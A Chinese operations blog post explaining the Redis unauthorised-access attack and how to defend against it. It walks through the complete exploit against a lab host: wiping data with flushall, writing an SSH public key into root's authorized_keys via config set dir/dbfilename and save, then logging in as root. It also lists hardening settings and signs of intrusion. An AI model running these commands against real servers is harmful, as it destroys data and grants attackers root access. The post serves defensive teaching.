Redis Crackit漏洞利用和防护
注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要轻易入侵,这个是明确的违法的哦!!!
目前Redis Crackit都炒翻天了,作为运维工程师不能不知道啊。具体大家自己google吧,简单的说就是你的redis如果公网可以访问,而且没有设置验证,那么恐怖的事情发生了。可以通过redis直接获取system shell,注意哦,可不是web shell。你的redis运行在什么用户,就直接能登陆了。
下面我模拟一下入侵过程:
准备工作:
- 1.准备一个运行在root用户下的验证redis。
- 2.在你的本地生产一个ssh key。# ssh-keygen -t rsa -C "redis-crackit@unixhot.com"
- 3. 给你的公钥加点换行 # (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > zhimakaimen.txt
开始了:很简单哦
#清空数据,必备哦。不要轻易操作,会清空redis所有数据哦。
[root@test-node1 ~]# redis-cli -h 192.168.199.221 flushall
OK
#把公钥写入到一个key里面
[root@test-node1 ~]# cat zhimakaimen.txt | redis-cli -h 192.168.199.221 -x set zhimakaimen
#连接到这个redis上
[root@test-node1 ~]# redis-cli -h 192.168.199.221
#设置rdb文件存放的路径
redis 192.168.199.221:6379> config set dir /root/.ssh/
OK
#设置rdb文件的文件名
redis 192.168.199.221:6379> config set dbfilename "authorized_keys"
OK
#搞定保存
redis 192.168.199.221:6379> save
OK
#退出
redis 192.168.199.221:6379> exit
#尝试登陆吧
[root@test-node1 ~]# ssh root@192.168.199.221
Last login: Wed Nov 11 17:39:12 2015 from test-node1.unixhot.com
!!!!!!!!!!!!好吧,一台服务器就这一沦陷了!!!!!!!
#去那台redis上看看吧。/root/.ssh目录下已经有了authorized_keys
[root@test-node2 ~]# cat /root/.ssh/authorized_keys
注意:本文只是阐述该漏洞的利用方式和如何预防。根据职业道德和《中华人民共和国计算机信息系统安全保护条例》,如果发现的别人的漏洞,千万不要只想flushall,这个是明确的违法的哦。
如何防护:
1.禁用这些可以入侵的命令:
[root@test-node2 ~]# vim /etc/redis.conf
rename-command FLUSHALL ""
#rename-command CONFIG "" 注意,设置了,可就不能用了,如果需要使用可以设置一个其它名称。
2.将你的redis不要运行在0.0.0.0.或者设置验证。
[root@test-node2 ~]# vim /etc/redis.conf
requirepass redis-passwd
bind 192.168.199.11
3.尽量不要使用root运行。默认yum安装的redis,是运行在redis用户的。
如何发现被入侵:
- 1.你的redis数据莫名其妙没有了。
- 2.检查你的rdb文件存放的路径
- 3.检查是否有非法的authorized_keys
最新文章
- ABP教程-打造一个《电话簿项目》-目录-MPA版本-基于ABP1.13版本
- Select2个人使用总结
- 获取WOED和EXCEL的公用方法
- 检索 COM 类工厂中 CLSID 为 {28E68F9A-8D75-11D1-8DC3-3C302A000000} 的组件失败,原因是出现以下错误: 80040154 没有注册类 (异常来自 HRESULT:0x80040154 (REGDB_E_CLASSNOTREG))
- 洛谷P1538迎春舞会之数字舞蹈
- asp.net常见面试题(一)
- ejabberd,erlang,简单看了一下,总结一下,很肤浅
- BZOJ1176---[Balkan2007]Mokia (CDQ分治 + 树状数组)
- Mysql存储引擎概念特点介绍及不同业务场景选用依据
- php之文件基础操作
- Entity Framework Core 2.0 中使用LIKE 操作符
- 原生JS实现圆周运动
- 双字节验证:vue输入框中英文字数长度验证
- PHP接口的思考
- IDEA上传一个项目到github
- U3D的结构体堆分配栈分配
- mysql ";order by"; ";distinct"; ";group by"; ";having";
- React Native的SliderIOS滑块组件
- nginx搭建负载均衡
- varnish--vcl